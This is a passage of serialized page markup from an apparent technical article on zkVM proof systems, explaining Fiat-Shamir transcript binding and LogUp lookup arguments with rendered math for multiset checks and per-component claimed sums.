hildren":118752},{"style":118153},[118753,118757],{"type":24,"tag":147,"props":118754,"children":118756},{"className":118755,"style":117792},[9674],[],{"type":24,"tag":147,"props":118758,"children":118760},{"className":118759,"style":118012},[117810],[118761],{"type":24,"tag":147,"props":118762,"children":118764},{"className":118763,"style":117886},[117885],[118765],{"type":24,"tag":39874,"props":118766,"children":118767},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118768],{"type":24,"tag":6785,"props":118769,"children":118770},{"d":117899},[],{"type":24,"tag":147,"props":118772,"children":118774},{"className":118773},[27341],[118775],{"type":29,"value":8758},{"type":29,"value":87},{"type":24,"tag":25,"props":118778,"children":118779},{},[118780,118782,118851],{"type":29,"value":118781},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":80,"props":118783,"children":118785},{"className":118784},[9607,9608],[118786],{"type":24,"tag":147,"props":118787,"children":118789},{"className":118788},[9613],[118790],{"type":24,"tag":147,"props":118791,"children":118793},{"className":118792,"ariaHidden":9619},[9618],[118794],{"type":24,"tag":147,"props":118795,"children":118797},{"className":118796},[9624],[118798,118802],{"type":24,"tag":147,"props":118799,"children":118801},{"className":118800,"style":117856},[9629],[],{"type":24,"tag":147,"props":118803,"children":118805},{"className":118804},[9635,117770],[118806],{"type":24,"tag":147,"props":118807,"children":118809},{"className":118808},[9655],[118810],{"type":24,"tag":147,"props":118811,"children":118813},{"className":118812},[9660],[118814],{"type":24,"tag":147,"props":118815,"children":118817},{"className":118816,"style":117856},[9665],[118818,118830],{"type":24,"tag":147,"props":118819,"children":118820},{"style":117787},[118821,118825],{"type":24,"tag":147,"props":118822,"children":118824},{"className":118823,"style":117792},[9674],[],{"type":24,"tag":147,"props":118826,"children":118828},{"className":118827,"style":98630},[9635,27190],[118829],{"type":29,"value":99449},{"type":24,"tag":147,"props":118831,"children":118832},{"style":117787},[118833,118837],{"type":24,"tag":147,"props":118834,"children":118836},{"className":118835,"style":117792},[9674],[],{"type":24,"tag":147,"props":118838,"children":118840},{"className":118839,"style":117880},[117810],[118841],{"type":24,"tag":147,"props":118842,"children":118844},{"className":118843,"style":117886},[117885],[118845],{"type":24,"tag":39874,"props":118846,"children":118847},{"xmlns":117890,"width":117891,"height":117892,"style":117893,"viewBox":117894,"preserveAspectRatio":117895},[118848],{"type":24,"tag":6785,"props":118849,"children":118850},{"d":117899},[],{"type":29,"value":118852}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":43,"props":118854,"children":118856},{"id":118855},"lookup-arguments-logup",[118857],{"type":29,"value":118858},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":118860,"children":118861},{},[118862],{"type":29,"value":118863},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":22292,"props":118865,"children":118866},{},[118867,118923,118928],{"type":24,"tag":2678,"props":118868,"children":118869},{},[118870,118872,118922],{"type":29,"value":118871},"Is this byte in range ",{"type":24,"tag":80,"props":118873,"children":118875},{"className":118874},[9607,9608],[118876],{"type":24,"tag":147,"props":118877,"children":118879},{"className":118878},[9613],[118880],{"type":24,"tag":147,"props":118881,"children":118883},{"className":118882,"ariaHidden":9619},[9618],[118884],{"type":24,"tag":147,"props":118885,"children":118887},{"className":118886},[9624],[118888,118892,118897,118902,118907,118911,118917],{"type":24,"tag":147,"props":118889,"children":118891},{"className":118890,"style":9735},[9629],[],{"type":24,"tag":147,"props":118893,"children":118895},{"className":118894},[27319],[118896],{"type":29,"value":9358},{"type":24,"tag":147,"props":118898,"children":118900},{"className":118899},[9635],[118901],{"type":29,"value":3173},{"type":24,"tag":147,"props":118903,"children":118905},{"className":118904},[9746],[118906],{"type":29,"value":9749},{"type":24,"tag":147,"props":118908,"children":118910},{"className":118909,"style":9753},[9714],[],{"type":24,"tag":147,"props":118912,"children":118914},{"className":118913},[9635],[118915],{"type":29,"value":118916},"255",{"type":24,"tag":147,"props":118918,"children":118920},{"className":118919},[27341],[118921],{"type":29,"value":21023},{"type":29,"value":8785},{"type":24,"tag":2678,"props":118924,"children":118925},{},[118926],{"type":29,"value":118927},"Does this opcode decode correctly?",{"type":24,"tag":2678,"props":118929,"children":118930},{},[118931],{"type":29,"value":118932},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":118934,"children":118935},{},[118936,118941],{"type":24,"tag":10949,"props":118937,"children":118938},{},[118939],{"type":29,"value":118940},"The naive approach:",{"type":29,"value":118942}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":118944,"children":118945},{},[118946,118951,118953,118958],{"type":24,"tag":10949,"props":118947,"children":118948},{},[118949],{"type":29,"value":118950},"The clever approach:",{"type":29,"value":118952}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":10949,"props":118954,"children":118955},{},[118956],{"type":29,"value":118957},"multiset membership",{"type":29,"value":73378},{"type":24,"tag":25,"props":118960,"children":118961},{},[118962,118967],{"type":24,"tag":10949,"props":118963,"children":118964},{},[118965],{"type":29,"value":118966},"LogUp (Logarithmic Derivative):",{"type":29,"value":118968}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":118970,"children":118971},{},[118972,118974,118999,119001,119028],{"type":29,"value":118973},"If set ",{"type":24,"tag":80,"props":118975,"children":118977},{"className":118976},[9607,9608],[118978],{"type":24,"tag":147,"props":118979,"children":118981},{"className":118980},[9613],[118982],{"type":24,"tag":147,"props":118983,"children":118985},{"className":118984,"ariaHidden":9619},[9618],[118986],{"type":24,"tag":147,"props":118987,"children":118989},{"className":118988},[9624],[118990,118994],{"type":24,"tag":147,"props":118991,"children":118993},{"className":118992,"style":27185},[9629],[],{"type":24,"tag":147,"props":118995,"children":118997},{"className":118996},[9635,27190],[118998],{"type":29,"value":82351},{"type":29,"value":119000}," should equal set ",{"type":24,"tag":80,"props":119002,"children":119004},{"className":119003},[9607,9608],[119005],{"type":24,"tag":147,"props":119006,"children":119008},{"className":119007},[9613],[119009],{"type":24,"tag":147,"props":119010,"children":119012},{"className":119011,"ariaHidden":9619},[9618],[119013],{"type":24,"tag":147,"props":119014,"children":119016},{"className":119015},[9624],[119017,119021],{"type":24,"tag":147,"props":119018,"children":119020},{"className":119019,"style":27185},[9629],[],{"type":24,"tag":147,"props":119022,"children":119025},{"className":119023,"style":119024},[9635,27190],"margin-right:0.05017em;",[119026],{"type":29,"value":119027},"B",{"type":29,"value":119029}," as multisets:",{"type":24,"tag":25,"props":119031,"children":119032},{},[119033],{"type":24,"tag":80,"props":119034,"children":119036},{"className":119035},[9607,9608],[119037],{"type":24,"tag":147,"props":119038,"children":119040},{"className":119039},[9613],[119041],{"type":24,"tag":147,"props":119042,"children":119044},{"className":119043,"ariaHidden":9619},[9618],[119045,119260],{"type":24,"tag":147,"props":119046,"children":119048},{"className":119047},[9624],[119049,119054,119127,119131,119247,119251,119256],{"type":24,"tag":147,"props":119050,"children":119053},{"className":119051,"style":119052},[9629],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":147,"props":119055,"children":119057},{"className":119056},[27226],[119058,119063],{"type":24,"tag":147,"props":119059,"children":119061},{"className":119060,"style":27233},[27226,27231,27232],[119062],{"type":29,"value":114416},{"type":24,"tag":147,"props":119064,"children":119066},{"className":119065},[9650],[119067],{"type":24,"tag":147,"props":119068,"children":119070},{"className":119069},[9655,27244],[119071,119115],{"type":24,"tag":147,"props":119072,"children":119074},{"className":119073},[9660],[119075,119110],{"type":24,"tag":147,"props":119076,"children":119079},{"className":119077,"style":119078},[9665],"height:0.1786em;",[119080],{"type":24,"tag":147,"props":119081,"children":119082},{"style":27257},[119083,119087],{"type":24,"tag":147,"props":119084,"children":119086},{"className":119085,"style":9675},[9674],[],{"type":24,"tag":147,"props":119088,"children":119090},{"className":119089},[9680,9681,9682,9683],[119091],{"type":24,"tag":147,"props":119092,"children":119094},{"className":119093},[9635,9683],[119095,119100,119105],{"type":24,"tag":147,"props":119096,"children":119098},{"className":119097},[9635,27190,9683],[119099],{"type":29,"value":2773},{"type":24,"tag":147,"props":119101,"children":119103},{"className":119102},[9817,9683],[119104],{"type":29,"value":27297},{"type":24,"tag":147,"props":119106,"children":119108},{"className":119107},[9635,27190,9683],[119109],{"type":29,"value":82351},{"type":24,"tag":147,"props":119111,"children":119113},{"className":119112},[27347],[119114],{"type":29,"value":27350},{"type":24,"tag":147,"props":119116,"children":119118},{"className":119117},[9660],[119119],{"type":24,"tag":147,"props":119120,"children":119123},{"className":119121,"style":119122},[9665],"height:0.3271em;",[119124],{"type":24,"tag":147,"props":119125,"children":119126},{},[],{"type":24,"tag":147,"props":119128,"children":119130},{"className":119129,"style":9753},[9714],[],{"type":24,"tag":147,"props":119132,"children":119134},{"className":119133},[9635],[119135,119140,119243],{"type":24,"tag":147,"props":119136,"children":119139},{"className":119137},[27319,119138],"nulldelimiter",[],{"type":24,"tag":147,"props":119141,"children":119144},{"className":119142},[119143],"mfrac",[119145],{"type":24,"tag":147,"props":119146,"children":119148},{"className":119147},[9655,27244],[119149,119231],{"type":24,"tag":147,"props":119150,"children":119152},{"className":119151},[9660],[119153,119226],{"type":24,"tag":147,"props":119154,"children":119157},{"className":119155,"style":119156},[9665],"height:0.8451em;",[119158,119191,119205],{"type":24,"tag":147,"props":119159,"children":119161},{"style":119160},"top:-2.655em;",[119162,119166],{"type":24,"tag":147,"props":119163,"children":119165},{"className":119164,"style":117792},[9674],[],{"type":24,"tag":147,"props":119167,"children":119169},{"className":119168},[9680,9681,9682,9683],[119170],{"type":24,"tag":147,"props":119171,"children":119173},{"className":119172},[9635,9683],[119174,119181,119186],{"type":24,"tag":147,"props":119175,"children":119178},{"className":119176,"style":119177},[9635,27190,9683],"margin-right:0.04398em;",[119179],{"type":29,"value":119180},"z",{"type":24,"tag":147,"props":119182,"children":119184},{"className":119183},[9720,9683],[119185],{"type":29,"value":9694},{"type":24,"tag":147,"props":119187,"children":119189},{"className":119188},[9635,27190,9683],[119190],{"type":29,"value":2773},{"type":24,"tag":147,"props":119192,"children":119194},{"style":119193},"top:-3.23em;",[119195,119199],{"type":24,"tag":147,"props":119196,"children":119198},{"className":119197,"style":117792},[9674],[],{"type":24,"tag":147,"props":119200,"children":119204},{"className":119201,"style":119203},[119202],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":147,"props":119206,"children":119208},{"style":119207},"top:-3.394em;",[119209,119213],{"type":24,"tag":147,"props":119210,"children":119212},{"className":119211,"style":117792},[9674],[],{"type":24,"tag":147,"props":119214,"children":119216},{"className":119215},[9680,9681,9682,9683],[119217],{"type":24,"tag":147,"props":119218,"children":119220},{"className":119219},[9635,9683],[119221],{"type":24,"tag":147,"props":119222,"children":119224},{"className":119223},[9635,9683],[119225],{"type":29,"value":1154},{"type":24,"tag":147,"props":119227,"children":119229},{"className":119228},[27347],[119230],{"type":29,"value":27350},{"type":24,"tag":147,"props":119232,"children":119234},{"className":119233},[9660],[119235],{"type":24,"tag":147,"props":119236,"children":119239},{"className":119237,"style":119238},[9665],"height:0.4033em;",[119240],{"type":24,"tag":147,"props":119241,"children":119242},{},[],{"type":24,"tag":147,"props":119244,"children":119246},{"className":119245},[27341,119138],[],{"type":24,"tag":147,"props":119248,"children":119250},{"className":119249,"style":9812},[9714],[],{"type":24,"tag":147,"props":119252,"children":119254},{"className":119253},[9817],[119255],{"type":29,"value":369},{"type":24,"tag":147,"props":119257,"children":119259},{"className":119258,"style":9812},[9714],[],{"type":24,"tag":147,"props":119261,"children":119263},{"className":119262},[9624],[119264,119268,119340,119344],{"type":24,"tag":147,"props":119265,"children":119267},{"className":119266,"style":119052},[9629],[],{"type":24,"tag":147,"props":119269,"children":119271},{"className":119270},[27226],[119272,119277],{"type":24,"tag":147,"props":119273,"children":119275},{"className":119274,"style":27233},[27226,27231,27232],[119276],{"type":29,"value":114416},{"type":24,"tag":147,"props":119278,"children":119280},{"className":119279},[9650],[119281],{"type":24,"tag":147,"props":119282,"children":119284},{"className":119283},[9655,27244],[119285,119329],{"type":24,"tag":147,"props":119286,"children":119288},{"className":119287},[9660],[119289,119324],{"type":24,"tag":147,"props":119290,"children":119293},{"className":119291,"style":119292},[9665],"height:0.1864em;",[119294],{"type":24,"tag":147,"props":119295,"children":119296},{"style":27257},[119297,119301],{"type":24,"tag":147,"props":119298,"children":119300},{"className":119299,"style":9675},[9674],[],{"type":24,"tag":147,"props":119302,"children":119304},{"className":119303},[9680,9681,9682,9683],[119305],{"type":24,"tag":147,"props":119306,"children":119308},{"className":119307},[9635,9683],[119309,119314,119319],{"type":24,"tag":147,"props":119310,"children":119312},{"className":119311},[9635,27190,9683],[119313],{"type":29,"value":8852},{"type":24,"tag":147,"props":119315,"children":119317},{"className":119316},[9817,9683],[119318],{"type":29,"value":27297},{"type":24,"tag":147,"props":119320,"children":119322},{"className":119321,"style":119024},[9635,27190,9683],[119323],{"type":29,"value":119027},{"type":24,"tag":147,"props":119325,"children":119327},{"className":119326},[27347],[119328],{"type":29,"value":27350},{"type":24,"tag":147,"props":119330,"children":119332},{"className":119331},[9660],[119333],{"type":24,"tag":147,"props":119334,"children":119336},{"className":119335,"style":119122},[9665],[119337],{"type":24,"tag":147,"props":119338,"children":119339},{},[],{"type":24,"tag":147,"props":119341,"children":119343},{"className":119342,"style":9753},[9714],[],{"type":24,"tag":147,"props":119345,"children":119347},{"className":119346},[9635],[119348,119352,119445],{"type":24,"tag":147,"props":119349,"children":119351},{"className":119350},[27319,119138],[],{"type":24,"tag":147,"props":119353,"children":119355},{"className":119354},[119143],[119356],{"type":24,"tag":147,"props":119357,"children":119359},{"className":119358},[9655,27244],[119360,119434],{"type":24,"tag":147,"props":119361,"children":119363},{"className":119362},[9660],[119364,119429],{"type":24,"tag":147,"props":119365,"children":119367},{"className":119366,"style":119156},[9665],[119368,119398,119409],{"type":24,"tag":147,"props":119369,"children":119370},{"style":119160},[119371,119375],{"type":24,"tag":147,"props":119372,"children":119374},{"className":119373,"style":117792},[9674],[],{"type":24,"tag":147,"props":119376,"children":119378},{"className":119377},[9680,9681,9682,9683],[119379],{"type":24,"tag":147,"props":119380,"children":119382},{"className":119381},[9635,9683],[119383,119388,119393],{"type":24,"tag":147,"props":119384,"children":119386},{"className":119385,"style":119177},[9635,27190,9683],[119387],{"type":29,"value":119180},{"type":24,"tag":147,"props":119389,"children":119391},{"className":119390},[9720,9683],[119392],{"type":29,"value":9694},{"type":24,"tag":147,"props":119394,"children":119396},{"className":119395},[9635,27190,9683],[119397],{"type":29,"value":8852},{"type":24,"tag":147,"props":119399,"children":119400},{"style":119193},[119401,119405],{"type":24,"tag":147,"props":119402,"children":119404},{"className":119403,"style":117792},[9674],[],{"type":24,"tag":147,"props":119406,"children":119408},{"className":119407,"style":119203},[119202],[],{"type":24,"tag":147,"props":119410,"children":119411},{"style":119207},[119412,119416],{"type":24,"tag":147,"props":119413,"children":119415},{"className":119414,"style":117792},[9674],[],{"type":24,"tag":147,"props":119417,"children":119419},{"className":119418},[9680,9681,9682,9683],[119420],{"type":24,"tag":147,"props":119421,"children":119423},{"className":119422},[9635,9683],[119424],{"type":24,"tag":147,"props":119425,"children":119427},{"className":119426},[9635,9683],[119428],{"type":29,"value":1154},{"type":24,"tag":147,"props":119430,"children":119432},{"className":119431},[27347],[119433],{"type":29,"value":27350},{"type":24,"tag":147,"props":119435,"children":119437},{"className":119436},[9660],[119438],{"type":24,"tag":147,"props":119439,"children":119441},{"className":119440,"style":119238},[9665],[119442],{"type":24,"tag":147,"props":119443,"children":119444},{},[],{"type":24,"tag":147,"props":119446,"children":119448},{"className":119447},[27341,119138],[],{"type":24,"tag":25,"props":119450,"children":119451},{},[119452,119454,119479],{"type":29,"value":119453},"for random challenge ",{"type":24,"tag":80,"props":119455,"children":119457},{"className":119456},[9607,9608],[119458],{"type":24,"tag":147,"props":119459,"children":119461},{"className":119460},[9613],[119462],{"type":24,"tag":147,"props":119463,"children":119465},{"className":119464,"ariaHidden":9619},[9618],[119466],{"type":24,"tag":147,"props":119467,"children":119469},{"className":119468},[9624],[119470,119474],{"type":24,"tag":147,"props":119471,"children":119473},{"className":119472,"style":116462},[9629],[],{"type":24,"tag":147,"props":119475,"children":119477},{"className":119476,"style":119177},[9635,27190],[119478],{"type":29,"value":119180},{"type":29,"value":119480},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":119482,"children":119483},{},[119484,119489],{"type":24,"tag":10949,"props":119485,"children":119486},{},[119487],{"type":29,"value":119488},"In zkVMs:",{"type":29,"value":119490}," Different components emit and consume lookup tuples:",{"type":24,"tag":22292,"props":119492,"children":119493},{},[119494,119581],{"type":24,"tag":2678,"props":119495,"children":119496},{},[119497,119499,119525,119527,119552,119554,119580],{"type":29,"value":119498},"CPU emits: \"I read value ",{"type":24,"tag":80,"props":119500,"children":119502},{"className":119501},[9607,9608],[119503],{"type":24,"tag":147,"props":119504,"children":119506},{"className":119505},[9613],[119507],{"type":24,"tag":147,"props":119508,"children":119510},{"className":119509,"ariaHidden":9619},[9618],[119511],{"type":24,"tag":147,"props":119512,"children":119514},{"className":119513},[9624],[119515,119519],{"type":24,"tag":147,"props":119516,"children":119518},{"className":119517,"style":116462},[9629],[],{"type":24,"tag":147,"props":119520,"children":119522},{"className":119521,"style":99116},[9635,27190],[119523],{"type":29,"value":119524},"v",{"type":29,"value":119526}," from address ",{"type":24,"tag":80,"props":119528,"children":119530},{"className":119529},[9607,9608],[119531],{"type":24,"tag":147,"props":119532,"children":119534},{"className":119533},[9613],[119535],{"type":24,"tag":147,"props":119536,"children":119538},{"className":119537,"ariaHidden":9619},[9618],[119539],{"type":24,"tag":147,"props":119540,"children":119542},{"className":119541},[9624],[119543,119547],{"type":24,"tag":147,"props":119544,"children":119546},{"className":119545,"style":116462},[9629],[],{"type":24,"tag":147,"props":119548,"children":119550},{"className":119549},[9635,27190],[119551],{"type":29,"value":2773},{"type":29,"value":119553}," at time ",{"type":24,"tag":80,"props":119555,"children":119557},{"className":119556},[9607,9608],[119558],{"type":24,"tag":147,"props":119559,"children":119561},{"className":119560},[9613],[119562],{"type":24,"tag":147,"props":119563,"children":119565},{"className":119564,"ariaHidden":9619},[9618],[119566],{"type":24,"tag":147,"props":119567,"children":119569},{"className":119568},[9624],[119570,119575],{"type":24,"tag":147,"props":119571,"children":119574},{"className":119572,"style":119573},[9629],"height:0.6151em;",[],{"type":24,"tag":147,"props":119576,"children":119578},{"className":119577},[9635,27190],[119579],{"type":29,"value":27332},{"type":29,"value":25663},{"type":24,"tag":2678,"props":119582,"children":119583},{},[119584,119586,119611,119613,119638,119640,119665],{"type":29,"value":119585},"Memory table consumes: \"At time ",{"type":24,"tag":80,"props":119587,"children":119589},{"className":119588},[9607,9608],[119590],{"type":24,"tag":147,"props":119591,"children":119593},{"className":119592},[9613],[119594],{"type":24,"tag":147,"props":119595,"children":119597},{"className":119596,"ariaHidden":9619},[9618],[119598],{"type":24,"tag":147,"props":119599,"children":119601},{"className":119600},[9624],[119602,119606],{"type":24,"tag":147,"props":119603,"children":119605},{"className":119604,"style":119573},[9629],[],{"type":24,"tag":147,"props":119607,"children":119609},{"className":119608},[9635,27190],[119610],{"type":29,"value":27332},{"type":29,"value":119612},", address ",{"type":24,"tag":80,"props":119614,"children":119616},{"className":119615},[9607,9608],[119617],{"type":24,"tag":147,"props":119618,"children":119620},{"className":119619},[9613],[119621],{"type":24,"tag":147,"props":119622,"children":119624},{"className":119623,"ariaHidden":9619},[9618],[119625],{"type":24,"tag":147,"props":119626,"children":119628},{"className":119627},[9624],[119629,119633],{"type":24,"tag":147,"props":119630,"children":119632},{"className":119631,"style":116462},[9629],[],{"type":24,"tag":147,"props":119634,"children":119636},{"className":119635},[9635,27190],[119637],{"type":29,"value":2773},{"type":29,"value":119639}," contained ",{"type":24,"tag":80,"props":119641,"children":119643},{"className":119642},[9607,9608],[119644],{"type":24,"tag":147,"props":119645,"children":119647},{"className":119646},[9613],[119648],{"type":24,"tag":147,"props":119649,"children":119651},{"className":119650,"ariaHidden":9619},[9618],[119652],{"type":24,"tag":147,"props":119653,"children":119655},{"className":119654},[9624],[119656,119660],{"type":24,"tag":147,"props":119657,"children":119659},{"className":119658,"style":116462},[9629],[],{"type":24,"tag":147,"props":119661,"children":119663},{"className":119662,"style":99116},[9635,27190],[119664],{"type":29,"value":119524},{"type":29,"value":25663},{"type":24,"tag":25,"props":119667,"children":119668},{},[119669],{"type":29,"value":119670},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":119672,"children":119673},{},[119674,119679],{"type":24,"tag":10949,"props":119675,"children":119676},{},[119677],{"type":29,"value":119678},"The claimed_sum:",{"type":29,"value":119680}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":25,"props":119682,"children":119683},{},[119684],{"type":24,"tag":80,"props":119685,"children":119687},{"className":119686},[9607,9608],[119688],{"type":24,"tag":147,"props":119689,"children":119691},{"className":119690},[9613],[119692],{"type":24,"tag":147,"props":119693,"children":119695},{"className":119694,"ariaHidden":9619},[9618],[119696,119794,120045],{"type":24,"tag":147,"props":119697,"children":119699},{"className":119698},[9624],[119700,119704,119714,119719,119781,119785,119790],{"type":24,"tag":147,"props":119701,"children":119703},{"className":119702,"style":100043},[9629],[],{"type":24,"tag":147,"props":119705,"children":119707},{"className":119706},[9635,29],[119708],{"type":24,"tag":147,"props":119709,"children":119711},{"className":119710},[9635],[119712],{"type":29,"value":119713},"claimed",{"type":24,"tag":147,"props":119715,"children":119717},{"className":119716,"style":98630},[9635],[119718],{"type":29,"value":8714},{"type":24,"tag":147,"props":119720,"children":119722},{"className":119721},[9635],[119723,119732],{"type":24,"tag":147,"props":119724,"children":119726},{"className":119725},[9635,29],[119727],{"type":24,"tag":147,"props":119728,"children":119730},{"className":119729},[9635],[119731],{"type":29,"value":82216},{"type":24,"tag":147,"props":119733,"children":119735},{"className":119734},[9650],[119736],{"type":24,"tag":147,"props":119737,"children":119739},{"className":119738},[9655,27244],[119740,119770],{"type":24,"tag":147,"props":119741,"children":119743},{"className":119742},[9660],[119744,119765],{"type":24,"tag":147,"props":119745,"children":119747},{"className":119746,"style":99159},[9665],[119748],{"type":24,"tag":147,"props":119749,"children":119751},{"style":119750},"top:-2.55em;margin-right:0.05em;",[119752,119756],{"type":24,"tag":147,"props":119753,"children":119755},{"className":119754,"style":9675},[9674],[],{"type":24,"tag":147,"props":119757,"children":119759},{"className":119758},[9680,9681,9682,9683],[119760],{"type":24,"tag":147,"props":119761,"children":119763},{"className":119762},[9635,27190,9683],[119764],{"type":29,"value":9363},{"type":24,"tag":147,"props":119766,"children":119768},{"className":119767},[27347],[119769],{"type":29,"value":27350},{"type":24,"tag":147,"props":119771,"children":119773},{"className":119772},[9660],[119774],{"type":24,"tag":147,"props":119775,"children":119777},{"className":119776,"style":98713},[9665],[119778],{"type":24,"tag":147,"props":119779,"children":119780},{},[],{"type":24,"tag":147,"props":119782,"children":119784},{"className":119783,"style":9812},[9714],[],{"type":24,"tag":147,"props":119786,"children":119788},{"className":119787},[9817],[119789],{"type":29,"value":369},{"type":24,"tag":147,"props":119791,"children":119793},{"className":119792,"style":9812},[9714],[],{"type":24,"tag":147,"props":119795,"children":119797},{"className":119796},[9624],[119798,119803,119863,119867,120032,120036,120041],{"type":24,"tag":147,"props":119799,"children":119802},{"className":119800,"style":119801},[9629],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":147,"props":119804,"children":119806},{"className":119805},[27226],[119807,119812],{"type":24,"tag":147,"props":119808,"children":119810},{"className":119809,"style":27233},[27226,27231,27232],[119811],{"type":29,"value":114416},{"type":24,"tag":147,"props":119813,"children":119815},{"className":119814},[9650],[119816],{"type":24,"tag":147,"props":119817,"children":119819},{"className":119818},[9655,27244],[119820,119851],{"type":24,"tag":147,"props":119821,"children":119823},{"className":119822},[9660],[119824,119846],{"type":24,"tag":147,"props":119825,"children":119828},{"className":119826,"style":119827},[9665],"height:0.162em;",[119829],{"type":24,"tag":147,"props":119830,"children":119831},{"style":27257},[119832,119836],{"type":24,"tag":147,"props":119833,"children":119835},{"className":119834,"style":9675},[9674],[],{"type":24,"tag":147,"props":119837,"children":119839},{"className":119838},[9680,9681,9682,9683],[119840],{"type":24,"tag":147,"props":119841,"children":119844},{"className":119842,"style":119843},[9635,27190,9683],"margin-right:0.05724em;",[119845],{"type":29,"value":14281},{"type":24,"tag":147,"props":119847,"children":119849},{"className":119848},[27347],[119850],{"type":29,"value":27350},{"type":24,"tag":147,"props":119852,"children":119854},{"className":119853},[9660],[119855],{"type":24,"tag":147,"props":119856,"children":119859},{"className":119857,"style":119858},[9665],"height:0.4358em;",[119860],{"type":24,"tag":147,"props":119861,"children":119862},{},[],{"type":24,"tag":147,"props":119864,"children":119866},{"className":119865,"style":9753},[9714],[],{"type":24,"tag":147,"props":119868,"children":119870},{"className":119869},[9635],[119871,119875,120028],{"type":24,"tag":147,"props":119872,"children":119874},{"className":119873},[27319,119138],[],{"type":24,"tag":147,"props":119876,"children":119878},{"className":119877},[119143],[119879],{"type":24,"tag":147,"props":119880,"children":119882},{"className":119881},[9655,27244],[119883,120016],{"type":24,"tag":147,"props":119884,"children":119886},{"className":119885},[9660],[119887,120011],{"type":24,"tag":147,"props":119888,"children":119890},{"className":119889,"style":119156},[9665],[119891,119980,119991],{"type":24,"tag":147,"props":119892,"children":119893},{"style":119160},[119894,119898],{"type":24,"tag":147,"props":119895,"children":119897},{"className":119896,"style":117792},[9674],[],{"type":24,"tag":147,"props":119899,"children":119901},{"className":119900},[9680,9681,9682,9683],[119902],{"type":24,"tag":147,"props":119903,"children":119905},{"className":119904},[9635,9683],[119906,119911,119916],{"type":24,"tag":147,"props":119907,"children":119909},{"className":119908,"style":119177},[9635,27190,9683],[119910],{"type":29,"value":119180},{"type":24,"tag":147,"props":119912,"children":119914},{"className":119913},[9720,9683],[119915],{"type":29,"value":9694},{"type":24,"tag":147,"props":119917,"children":119919},{"className":119918},[9635,9683],[119920,119929],{"type":24,"tag":147,"props":119921,"children":119923},{"className":119922},[9635,29,9683],[119924],{"type":24,"tag":147,"props":119925,"children":119927},{"className":119926},[9635,9683],[119928],{"type":29,"value":67590},{"type":24,"tag":147,"props":119930,"children":119932},{"className":119931},[9650],[119933],{"type":24,"tag":147,"props":119934,"children":119936},{"className":119935},[9655,27244],[119937,119968],{"type":24,"tag":147,"props":119938,"children":119940},{"className":119939},[9660],[119941,119963],{"type":24,"tag":147,"props":119942,"children":119945},{"className":119943,"style":119944},[9665],"height:0.3281em;",[119946],{"type":24,"tag":147,"props":119947,"children":119949},{"style":119948},"top:-2.357em;margin-right:0.0714em;",[119950,119954],{"type":24,"tag":147,"props":119951,"children":119953},{"className":119952,"style":114481},[9674],[],{"type":24,"tag":147,"props":119955,"children":119957},{"className":119956},[9680,114486,114487,9683],[119958],{"type":24,"tag":147,"props":119959,"children":119961},{"className":119960,"style":119843},[9635,27190,9683],[119962],{"type":29,"value":14281},{"type":24,"tag":147,"props":119964,"children":119966},{"className":119965},[27347],[119967],{"type":29,"value":27350},{"type":24,"tag":147,"props":119969,"children":119971},{"className":119970},[9660],[119972],{"type":24,"tag":147,"props":119973,"children":119976},{"className":119974,"style":119975},[9665],"height:0.2819em;",[119977],{"type":24,"tag":147,"props":119978,"children":119979},{},[],{"type":24,"tag":147,"props":119981,"children":119982},{"style":119193},[119983,119987],{"type":24,"tag":147,"props":119984,"children":119986},{"className":119985,"style":117792},[9674],[],{"type":24,"tag":147,"props":119988,"children":119990},{"className":119989,"style":119203},[119202],[],{"type":24,"tag":147,"props":119992,"children":119993},{"style":119207},[119994,119998],{"type":24,"tag":147,"props":119995,"children":119997},{"className":119996,"style":117792},[9674],[],{"type":24,"tag":147,"props":119999,"children":120001},{"className":120000},[9680,9681,9682,9683],[120002],{"type":24,"tag":147,"props":120003,"children":120005},{"className":120004},[9635,9683],[120006],{"type":24,"tag":147,"props":120007,"children":120009},{"className":120008},[9635,9683],[120010],{"type":29,"value":1154},{"type":24,"tag":147,"props":120012,"children":120014},{"className":120013},[27347],[120015],{"type":29,"value":27350},{"type":24,"tag":147,"props":120017,"children":120019},{"className":120018},[9660],[120020],{"type":24,"tag":147,"props":120021,"children":120024},{"className":120022,"style":120023},[9665],"height:0.5423em;",[120025],{"type":24,"tag":147,"props":120026,"children":120027},{},[],{"type":24,"tag":147,"props":120029,"children":120031},{"className":120030},[27341,119138],[],{"type":24,"tag":147,"props":120033,"children":120035},{"className":120034,"style":9715},[9714],[],{"type":24,"tag":147,"props":120037,"children":120039},{"className":120038},[9720],[120040],{"type":29,"value":9694},{"type":24,"tag":147,"props":120042,"children":120044},{"className":120043,"style":9715},[9714],[],{"type":24,"tag":147,"props":120046,"children":120048},{"className":120047},[9624],[120049,120054,120112,120116],{"type":24,"tag":147,"props":120050,"children":120053},{"className":120051,"style":120052},[9629],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":147,"props":120055,"children":120057},{"className":120056},[27226],[120058,120063],{"type":24,"tag":147,"props":120059,"children":120061},{"className":120060,"style":27233},[27226,27231,27232],[120062],{"type":29,"value":114416},{"type":24,"tag":147,"props":120064,"children":120066},{"className":120065},[9650],[120067],{"type":24,"tag":147,"props":120068,"children":120070},{"className":120069},[9655,27244],[120071,120100],{"type":24,"tag":147,"props":120072,"children":120074},{"className":120073},[9660],[120075,120095],{"type":24,"tag":147,"props":120076,"children":120078},{"className":120077,"style":119292},[9665],[120079],{"type":24,"tag":147,"props":120080,"children":120081},{"style":27257},[120082,120086],{"type":24,"tag":147,"props":120083,"children":120085},{"className":120084,"style":9675},[9674],[],{"type":24,"tag":147,"props":120087,"children":120089}